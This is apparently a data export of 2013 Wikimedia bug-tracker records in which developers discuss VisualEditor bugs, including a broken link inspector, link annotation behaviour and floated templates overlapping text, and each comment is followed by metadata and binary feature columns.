+> Screenshot of ripped-apart link inspector
+> 
+> I can consistently reproduce the following:
+> 
+> * Select an unlinked word
+> * Create the insert link button (with intention to turn the word into a link)
+> * If you hit Return immediately after (before it has finished opening) it
+> will
+> replace the focussed node with a new line. Though that is a separate bug and
+> arguably an invalid use case (why would one be pressing Return at this point,
+> the user hasn't even seen the options yet. It interpreting it as intend to
+> replace the node isn't entirely unreasable, but that's a separate bug - bug
+> 51075).
+> * At this point the link inspector dom has blown up. Part of it is gone, and
+> the other part is left half-way across the screen at a seemingly arbitrary
+> offset (see attachment).",,,1373411632,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+235118,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,*** Bug 51077 has been marked as a duplicate of this bug. ***,,,1373411601,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235113,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"Change 72849 had a related patch set uploaded by Robmoen:
+Be sure lookupMenu input is focused before showing inputMenu.
+
+https://gerrit.wikimedia.org/r/72849",,,1373408156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+235108,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"(This happens particularly often on Opera for me, by the way. I haven't yet investigated the issue.)",,,1373331336,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+235102,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"I am raising the severity on this, because it is not just a display bug, but also causes the intended link target to be ignored -- if the user confirms the link with enter, only the link title is used and the link target is quietly discarded.",,,1373331185,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+235098,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Confirmed. This also happens if you type too quickly and press enter.,,,1372893436,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+51931,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"1. Go to [[mw:VisualEditor:TTO]] and edit in VE
+2. Double-click on a link in order to select it, or drag-select the whole link
+3. Type a new link text
+
+Only the first character you type remains linked, instead of the whole text you type.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371793260,1374771607.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+234239,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"With bug 51463 closed, this is now complete. Marking as fixed.",,,1374771607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+234232,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,See bug 51463,,,1374001912,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+234225,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"(In reply to comment #5)
+> That's all well and good, but now if my document ends in a link (a common
+> case if I link the last thing I typed) I can't put plain text after it, which
+> is the very reason we disabled trailing annotations for links in the first
+> place...
+
+You can - you just need to press the ""clear annotations"" button, or press return to get a new context with no pre-annotations. However, yes, these suck for discoverability. I think not-extending-over-whitespace is the best solution, though it's fiddly and difficult to support.",,,1373992527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,1,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1
+234219,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"That's all well and good, but now if my document ends in a link (a common case if I link the last thing I typed) I can't put plain text after it, which is the very reason we disabled trailing annotations for links in the first place...",,,1373992120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+234212,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"Change 73902 merged by jenkins-bot:
+Continue links
+
+https://gerrit.wikimedia.org/r/73902",,,1373934716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234204,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"Change 73902 had a related patch set uploaded by Catrope:
+Continue links
+
+https://gerrit.wikimedia.org/r/73902",,,1373931509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234197,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"I agree that this behaviour is not great for users; we should reverse the decision to abandon ""pre-annotation"" (that is, if you're typing, we'll apply the same formatting as the character immediately before the one you've just typed in the same paragraph) for links.
+
+Our concern was that having links always extent would be more tiresome for editors, which I still agree with, and that extending but not over whitespace would be confusing, which I think is arguable, but the current behaviour is worse.",,,1373155708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0
+234190,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"A related problem is, when you change only the first character of a link, that first letter is no longer part of the link. For example, if you change [[edinburgh]] to [[Edinburgh]], it becomes E[[dinburgh]].",,,1372852867,,PHID-USER-6hxjlzg5h4uzsyxbsm43,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+51927,"VisualEditor: Clicking outside the ""Describe what you changed"" box locks it","Steps to replicate:
+
+(1)Click ""Edit"" and make some change
+(2)Click ""Save page"". The cursor is now blinking in the ""Describe what you changed"" box.
+(3)Click on another dialogue box, such as the WP search box. The cursor now blinks there.
+(4) Click back into ""Describe what you changed"". Bupkis.
+
+Chrome 27.0.1453.116, Firefox 21.0, Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371789780,1372006698.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-h5i7cqn2z7j4vdb2bioo,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+233920,"VisualEditor: Clicking outside the ""Describe what you changed"" box locks it",Bug fixed,,,1372006698,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-h5i7cqn2z7j4vdb2bioo,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+51925,VisualEditor: Floated templates rendering oddly and overlapping text,"See screenshot, which is of https://en.wikipedia.org/wiki/Craig_Short - Firefox 21.0, Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371789480,1372463194.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-5pskpoilrrm4nns4zugy,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+233795,VisualEditor: Floated templates rendering oddly and overlapping text,Follow up:  https://en.wikipedia.org/wiki/Leo_Strauss?veaction=edit is still screwed up.,,,1384288678,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,3,False,,,19,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+233790,VisualEditor: Floated templates rendering oddly and overlapping text,Shall do.,,,1372613847,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233784,VisualEditor: Floated templates rendering oddly and overlapping text,"(In reply to comment #18)
+> Unless the patch hasn't been deployed yet, I guess.
+
+It hasn't. Deployed on Monday alongside the config change. Not sure if the example in comment 17 will be entirely fixed by it though - please check after release?",,,1372613728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+233779,VisualEditor: Floated templates rendering oddly and overlapping text,"Unless the patch hasn't been deployed yet, I guess.",,,1372613000,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+233776,VisualEditor: Floated templates rendering oddly and overlapping text,"Crud
+
+It doesn't :(. See new screenshot.
+
+**Attached**: {F11120}",,,1372612962,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+233770,VisualEditor: Floated templates rendering oddly and overlapping text,*** Bug 50416 has been marked as a duplicate of this bug. ***,,,1372500786,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233764,VisualEditor: Floated templates rendering oddly and overlapping text,"The above patch fixes this bug, we believe. Marking as such.",,,1372463194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+233760,VisualEditor: Floated templates rendering oddly and overlapping text,"Change 71109 merged by jenkins-bot:
+Stop floated transclusions floating out of themselves
+
+https://gerrit.wikimedia.org/r/71109",,,1372463162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+233755,VisualEditor: Floated templates rendering oddly and overlapping text,"Change 71109 had a related patch set uploaded by Jforrester:
+Set renderHtmlAttributes to false, for both block and inline transclusions
+
+https://gerrit.wikimedia.org/r/71109",,,1372450916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233749,VisualEditor: Floated templates rendering oddly and overlapping text,*** Bug 50381 has been marked as a duplicate of this bug. ***,,,1372440083,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233744,VisualEditor: Floated templates rendering oddly and overlapping text,+another example: https://en.wikipedia.org/wiki/Aranath?veaction=edit,,,1372440078,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+233738,VisualEditor: Floated templates rendering oddly and overlapping text,"For some reason wrapper in which we put transclusions/templates gets HTML attributes of the transclusion/template carried over - including CSS classes - that should not happen, and wasn't happening in the past.
+
+I will investigate it, however adding Roan to this ticket, it seems like it is his area.",,,1372428523,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+233733,VisualEditor: Floated templates rendering oddly and overlapping text,"Screenshot
+
+This is likely a blocker for any beta rollout on Monday. I've attached a screenshot to show how bad it can get, and why :/.
+
+**Attached**: {F11119}",,,1372415006,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+233728,VisualEditor: Floated templates rendering oddly and overlapping text,"(In reply to comment #4)
+> I thinks it depends on the skin: Monobook might be causing this.
+
+That's a different bug - created bug 50057.
+
+This is about CE's rendering of floated templates - I've attached some example screenshots to demonstrate.",,,1372005661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+233723,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12614
+what the template does look like when selected
+
+**Attached**: {F11118}",,,1372005619,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+233716,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12613
+what the template does look like (once in VE)
+
+**Attached**: {F11117}",,,1372005597,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+233711,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12612
+what the template should look like (read mode)
+
+**Attached**: {F11116}",,,1372005566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+233705,VisualEditor: Floated templates rendering oddly and overlapping text,I thinks it depends on the skin: Monobook might be causing this.,,,1371986282,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233700,VisualEditor: Floated templates rendering oddly and overlapping text,"I don't think I can see your attachment, Oliver, but I think the bug may have to do with to these sshots, which both refer to adding a link: in the first one, the recycle bin can barely be seen as it gets hidden, the second one shows the link icon not being displayed as a square. Looks like this can happen both with Chrome and Firefox.",,,1371986068,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+233694,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12609
+not displaying properly
+
+//attachment link icon not square.jpg ignored as obsolete//",,,1371985872,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+233687,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12608
+not displaying properly
+
+//attachment overlapping recycle bin.jpg ignored as obsolete//",,,1371985844,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+51921,imageinfo API returns incorrect data,"In this call http://en.wikipedia.org/w/api.php?action=query&prop=imageinfo&titles=File%3APowderfinger-My_Happiness-23s.ogg&iiprop=size%7Curl&iiurlwidth=200 it returns thumbwidth=""1913"" thumbheight=""-1"" as a size of an thumb, which is completly wrong.
+
+--------------------------
+**Version**: master
